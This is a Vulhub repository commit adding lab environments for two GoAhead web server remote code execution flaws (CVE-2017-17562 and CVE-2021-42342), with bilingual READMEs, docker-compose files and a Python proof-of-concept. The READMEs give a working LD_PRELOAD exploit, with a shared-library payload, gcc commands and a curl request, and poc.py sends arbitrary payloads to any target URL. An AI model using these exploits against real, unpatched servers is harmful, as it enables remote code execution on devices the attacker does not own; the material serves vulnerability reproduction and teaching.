first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB

View File

@@ -0,0 +1,60 @@
# GoAhead Web Server Environment Variables Injection and `LD_PRELOAD` Remote Code Execution (CVE-2017-17562)
[中文版本(Chinese version)](README.zh-cn.md)
Embedthis GoAhead is the world's most popular, tiny embedded web server, which is deployed in hundreds of millions of devices and is ideal for the smallest of embedded devices.
GoAhead before 3.6.5 allows remote code execution if CGI is enabled and a CGI program is dynamically linked. This is a result of initializing the environment of forked CGI scripts using untrusted HTTP request parameters in the cgiHandler function in `cgi.c`. When combined with the glibc dynamic linker, this behaviour can be abused for remote code execution using special parameter names such as `LD_PRELOAD`. An attacker can POST their shared object payload in the body of the request, and reference it using /proc/self/fd/0.
References:
- https://www.elttam.com.au/blog/goahead/
- https://www.exploit-db.com/exploits/43360
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/goahead_ldpreload.rb
## Vulnerable environment
Execute following commands to start a GoAhead 3.6.4:
```
docker compose up -d
```
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
## Exploit
First of all, compile this hijack code to a dynamic shared library:
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
```
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
Compile on a x86/64 environment:
```
gcc -shared -fPIC ./payload.c -o payload.so
```
Use curl to trigger the attack:
```
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
```
The response header `Hello: world!` is printed to indicate that the code has been executed:
![](1.png)
A reverse shell is got:
![](2.png)

View File

@@ -0,0 +1,56 @@
# GoAhead 远程命令执行漏洞CVE-2017-17562
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序这个漏洞就出现在运行CGI程序的时候。
GoAhead在接收到请求后将会从URL参数中取出键和值注册进CGI程序的环境变量且只过滤了`REMOTE_HOST``HTTP_AUTHORIZATION`。我们能够控制环境变量就有很多攻击方式。比如在Linux中`LD_`开头的环境变量和动态链接库有关,如`LD_PRELOAD`中指定的动态链接库,将会被自动加载;`LD_LIBRARY_PATH`指定的路径,程序会去其中寻找动态链接库。
我们可以指定`LD_PRELOAD=/proc/self/fd/0`,因为`/proc/self/fd/0`是标准输入而在CGI程序中POST数据流即为标准输入流。我们编译一个动态链接库将其放在POST Body中发送给`http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0`CGI就会加载我们发送的动态链接库造成远程命令执行漏洞。
参考链接:
- https://www.elttam.com.au/blog/goahead/
## 漏洞环境
启动漏洞环境:
```
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面即为CGI执行的结果。
## 漏洞复现
我们首先需要编译一个动态链接库而且需要和目标架构相同。所以在实战中如果对方是一个智能设备你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中所以我们直接用Linux PC编译即可。动态链接库源码
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
```
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
```
gcc -shared -fPIC ./payload.c -o payload.so
```
将payload.so作为post body发送
```
curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
```
可见,`Hello: world!`已被成功输出,说明我们的动态链接库中的代码已被执行:
![](1.png)
编译一个反弹shell的代码成功反弹shell
![](2.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/goahead:3.6.4
ports:
- "8080:80"
volumes:
- ./index:/var/www/goahead/cgi-bin/index

View File

@@ -0,0 +1,4 @@
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "<title>cgi title</title><h1>hello world!</h1>";

Binary file not shown.

After

Width:  |  Height:  |  Size: 91 KiB

View File

@@ -0,0 +1,59 @@
# GoAhead Web Server Environment Variables Injection and `LD_PRELOAD` Remote Code Execution (CVE-2021-42342)
[中文版本(Chinese version)](README.zh-cn.md)
An issue was discovered in GoAhead 4.x and 5.x before 5.1.5. In the file upload filter, user form variables can be passed to CGI scripts without being prefixed with the CGI prefix. This permits tunneling untrusted environment variables into vulnerable CGI scripts.
Attacker can use this feature to upload their shared object payload in the multipart form and hijack the `LD_PRELOAD` environment variable to execute arbitrary code.
This vulnerability is the patch bypass of the [CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562).
References:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## Vulnerable environment
Execute following commands to start a GoAhead 5.1.4:
```
docker compose up -d
```
Then, you can see the welcome page at `http://your-ip:8080`, CGI scripts is available at `http://your-ip:8080/cgi-bin/index`.
## Exploit
First of all, compile this hijack code to a dynamic shared library:
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
> Please notice that, since GoAhead is a compact embedded webserver running on almost any possible IoT device, the format of dynamic shared library is always depending on the target server architecture. In the real world, compiling exploits is not as easy as this manual suggests, although Vulhub could show you a simplest example.
Compile on a x86/64 environment:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
Then, we are using [this script](poc.py) to reproduce the vulnerability.
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
Hijack is successful:
![](1.png)

View File

@@ -0,0 +1,53 @@
# GoAhead Server 环境变量注入导致远程代码执行漏洞CVE-2021-42342
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。
这个漏洞是[CVE-2017-17562](https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562)漏洞补丁的绕过攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量进而劫持`LD_PRELOAD`来执行任意代码。
参考链接:
- https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
- https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/
- https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
## 漏洞环境
执行如下命令启动GoAhead 5.1.4
```
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可看到欢迎页面。访问`http://your-ip:8080/cgi-bin/index`即可查看到Hello页面即为CGI执行的结果。
## 漏洞复现
我们首先需要编译一个动态链接库而且需要和目标架构相同。所以在实战中如果对方是一个智能设备你可能需要交叉编译。因为Vulhub运行在`Linux x86_64`的机器中所以我们直接用Linux PC编译即可。动态链接库源码
```C
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
```
这样,`before_main`函数将在程序执行前被调用。编译以上代码:
```
gcc -s -shared -fPIC ./payload.c -o payload.so
```
然后,我们使用[这个脚本](poc.py)来发送恶意数据包,复现漏洞:
```
python poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
```
可见,我们在动态链接库中编写的劫持代码已经被成功执行:
![](1.png)

View File

@@ -0,0 +1,8 @@
version: '2'
services:
web:
image: vulhub/goahead:5.1.4
ports:
- "8080:80"
volumes:
- ./index:/var/www/goahead/cgi-bin/index

View File

@@ -0,0 +1,4 @@
#!/bin/bash
echo -ne "Content-Type: text/html\n\n";
echo "<title>example</title><h1>Example</h1>";

View File

@@ -0,0 +1,71 @@
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()